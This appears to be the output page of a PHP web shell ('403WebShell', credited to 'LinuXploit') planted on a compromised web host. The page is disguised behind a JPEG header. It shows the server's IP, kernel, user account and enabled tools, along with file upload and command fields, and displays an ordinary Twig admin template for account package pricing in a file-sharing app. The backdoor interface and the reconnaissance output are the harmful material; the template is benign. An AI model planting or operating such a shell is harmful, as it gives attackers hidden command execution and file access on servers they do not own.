����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.17.59.199
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/ideyshare.name.ng/app/views/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/ideyshare.name.ng/app/views/admin/account_package_pricing_manage.html.twig
{% extends "admin/partial/layout_logged_in.html.twig" %}

{% block title %}Account Type Pricing{{ appendTitle }}{% endblock %}
{% block selected_page %}account_package_pricing{% endblock %}
{% block selected_sub_page %}account_package_pricing{% endblock %}

{% block body %}
<script>
    oTable = null;
    gEditPricingId = null;
    $(document).ready(function () {
        // datatable
        oTable = $('#fileTable').dataTable({
            "sPaginationType": "full_numbers",
            "bServerSide": true,
            "bProcessing": true,
            "sAjaxSource": 'ajax/account_package_pricing_manage?level_id={{ levelId }}',
            "iDisplayLength": 25,
            "aaSorting": [[1, "asc"]],
            "aoColumns": [
                {bSortable: false, sWidth: '3%', sName: 'file_icon', sClass: "center adminResponsiveHide"},
                {bSortable: false, sWidth: '18%', sClass: "adminResponsiveHide"},
                {bSortable: false},
                {bSortable: false, sWidth: '30%', sClass: "adminResponsiveHide"},
                {bSortable: false, sWidth: '11%', sClass: "center"},
                {bSortable: false, sWidth: '11%', sClass: "center adminResponsiveHide"}
            ],
            "fnServerData": function (sSource, aoData, fnCallback) {
                aoData.push({"name": "filterText", "value": $('#filterText').val()});
                $.ajax({
                    "dataType": 'json',
                    "type": "GET",
                    "url": sSource,
                    "data": aoData,
                    "success": fnCallback
                });
            },
            "fnDrawCallback": function (oSettings) {
                postDatatableRender();
            },
            "oLanguage": {
                "sEmptyTable": "There are no packages in the current filters."
            },
            dom: "lBfrtip",
            buttons: [
                {
                    extend: "copy",
                    className: "btn-sm"
                },
                {
                    extend: "csv",
                    className: "btn-sm"
                },
                {
                    extend: "excel",
                    className: "btn-sm"
                },
                {
                    extend: "pdfHtml5",
                    className: "btn-sm"
                },
                {
                    extend: "print",
                    className: "btn-sm"
                }
            ]
        });
    });

    function addNewPricingForm()
    {
        showBasicModal('Loading...', 'Add Pricing', '<button type="button" class="btn btn-primary" onClick="processAddPricing(); return false;">Add Pricing</button>');
        loadAddNewPricingForm();
    }

    function loadAddNewPricingForm()
    {
        $.ajax({
            type: "POST",
            url: "ajax/account_package_pricing_manage_add_form",
            data: {'user_level_id': {{ levelId }}},
            dataType: 'json',
            success: function (json) {
                if (json.error == true)
                {
                    setBasicModalContent(json.msg);
                } else
                {
                    setBasicModalContent(json.html);
                }
                updateAddPricingOpt();
            },
            error: function (XMLHttpRequest, textStatus, errorThrown) {
                setBasicModalContent(XMLHttpRequest.responseText);
            }
        });
    }

    function processAddPricing()
    {
        // get data
        existing_pricing_id = gEditPricingId;
        pricing_label = $('#pricing_label').val();
        package_pricing_type = $('#package_pricing_type').val();
        period = null;
        download_allowance = null;
        if (package_pricing_type == 'period')
        {
            period = $('#period').val();
        } else
        {
            download_allowance = $('#download_allowance').val();
        }
        user_level_id = $('#user_level_id').val();
        price = $('#price').val();

        $.ajax({
            type: "POST",
            url: "ajax/account_package_pricing_manage_add_process",
            data: {existing_pricing_id: existing_pricing_id, pricing_label: pricing_label, package_pricing_type: package_pricing_type, period: period, download_allowance: download_allowance, user_level_id: user_level_id, price: price},
            dataType: 'json',
            success: function (json) {
                if (json.error == true)
                {
                    showError(json.msg, 'popupMessageContainer');
                } else
                {
                    showSuccess(json.msg);
                    reloadTable();
                    hideModal();
                }

            },
            error: function (XMLHttpRequest, textStatus, errorThrown) {
                showError(XMLHttpRequest.responseText, 'popupMessageContainer');
            }
        });

    }

    function editPackagePricingForm(pricingId)
    {
        gEditPricingId = pricingId;
        showBasicModal('Loading...', 'Edit Pricing', '<button type="button" class="btn btn-primary" onClick="processAddPricing(); return false;">Update Pricing</button>');
        loadEditPackagePricingForm();
    }
    
    function loadEditPackagePricingForm()
    {
        $.ajax({
            type: "POST",
            url: "ajax/account_package_pricing_manage_add_form",
            data: {gEditPricingId: gEditPricingId},
            dataType: 'json',
            success: function (json) {
                if (json.error == true)
                {
                    setBasicModalContent(json.msg);
                } else
                {
                    setBasicModalContent(json.html);
                }
                updateAddPricingOpt();
            },
            error: function (XMLHttpRequest, textStatus, errorThrown) {
                setBasicModalContent(XMLHttpRequest.responseText);
            }
        });
    }

    function reloadTable()
    {
        oTable.fnDraw(false);
    }

    function updateAddPricingOpt()
    {
        if ($('#addPricingForm #package_pricing_type').val() == 'bandwidth')
        {
            $('.period-class').hide();
            $('.bandwidth-class').show();
        } else
        {
            $('.bandwidth-class').hide();
            $('.period-class').show();
        }
    }
</script>

<!-- page content -->
<div class="right_col" role="main">
    <div class="">
        <div class="page-title">
            <div class="title_left">
                <h3>{{ block('title') }}</h3>
            </div>
        </div>
        <div class="clearfix"></div>

        {{ msg_page_notifications|raw }}
        
        <div class="row">
            <div class="col-md-12 col-sm-12 col-xs-12">
                <div class="x_panel">
                    <div class="x_title">
                        <h2>Package Pricing</h2>
                        <div class="clearfix"></div>
                    </div>
                    <div class="x_content">
                        <table id="fileTable" class="table table-striped table-only-border dtLoading bulk_action">
                            <thead>
                                <tr>
                                    <th></th>
                                    <th class="align-left">{{ t("pricing_label", "pricing label")|title }}</th>
                                    <th class="align-left">{{ t("account_package", "account package")|title }}</th>
                                    <th class="align-left">{{ t("package_type", "package type")|title }}</th>
                                    <th class="align-left">{{ t("price", "price")|title }}</th>
                                    <th class="align-left">{{ t("action", "action")|title }}</th>
                                </tr>
                            </thead>
                            <tbody>
                                <tr>
                                    <td colspan="20">{{ t('admin_loading_data', 'Loading data...')|title }}</td>
                                </tr>
                            </tbody>
                        </table>
                    </div>
                </div>
                
                <div class="x_panel">
                    <a href="account_package_manage" type="button" class="btn btn-default">< Back to Packages</a>
                    <a href="#" type="button" class="btn btn-primary" onClick="addNewPricingForm(); return false;">Add New Pricing</a>
                </div>
            </div>
        </div>
    </div>
</div>
<div class="customFilter" id="customFilter" style="display: none;">
    <label>
        Filter:
        <input name="filterText" id="filterText" type="text" value="" onKeyUp="reloadTable(); return false;" style="width: 180px;" class="form-control input-sm"/>
    </label>
</div>
{% endblock %}

Youez - 2016 - github.com/yon3zu
LinuXploit